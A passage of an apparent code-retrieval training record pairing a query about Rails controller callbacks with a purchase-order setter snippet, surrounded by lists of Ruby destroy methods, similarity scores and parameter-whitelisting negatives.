"def destroy\n @purchase.destroy\n respond_to do |format|\n\n format.html { redirect_to sell_list_path, notice: '주문이 삭제되었습니다.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n @purchase_order_item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_order_item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_receipt = PurchaseReceipt.find(params[:id])\n @purchase_receipt.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_receipts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order.destroy\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @order1.destroy\n respond_to do |format|\n format.html { redirect_to order1s_url, notice: 'Order1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order = Order.find(params[:id])\n @order.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.75802916",
"0.7500162",
"0.73648363",
"0.73648363",
"0.73633796",
"0.7340562",
"0.7333217",
"0.7333217",
"0.7333217",
"0.7333217",
"0.7333217",
"0.7324071",
"0.73000824",
"0.72275585",
"0.72258633",
"0.7216888",
"0.7210899",
"0.7206678",
"0.72054744",
"0.7195266",
"0.71674937",
"0.7151474",
"0.71343446",
"0.71343446",
"0.71343446",
"0.71343446",
"0.71341354",
"0.71148896",
"0.7087057",
"0.7066977",
"0.70626575",
"0.7059349",
"0.7057879",
"0.7054097",
"0.70173174",
"0.7003438",
"0.69972277",
"0.69934946",
"0.69750303",
"0.69671977",
"0.6935165",
"0.69311905",
"0.69283754",
"0.69213164",
"0.6902923",
"0.68953127",
"0.688952",
"0.6868216",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.6868193",
"0.68668693",
"0.68668693",
"0.68668693",
"0.68668693",
"0.68668693",
"0.6857553",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624",
"0.685624"
] |
0.7075623
|
29
|
Use callbacks to share common setup or constraints between actions.
|
def set_purchase_order
@purchase_order = PurchaseOrder.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def purchase_order_params
params.require(:purchase_order).permit(:supplier_id, :business_id, :order_number, :date, :order_date, :delivery_date, :billing_address, :delivery_address, :ammount,
purchase_order_details_attributes: [:id, :purchase_order_id, :product_id, :quantity, :pending, :unit_price, :subtotal, :_destroy],
purchase_order_documents_attributes: [:id, :purchase_order_id, :document, :_destroy])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def list_params\n params.permit(:name)\n end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def url_whitelist; end",
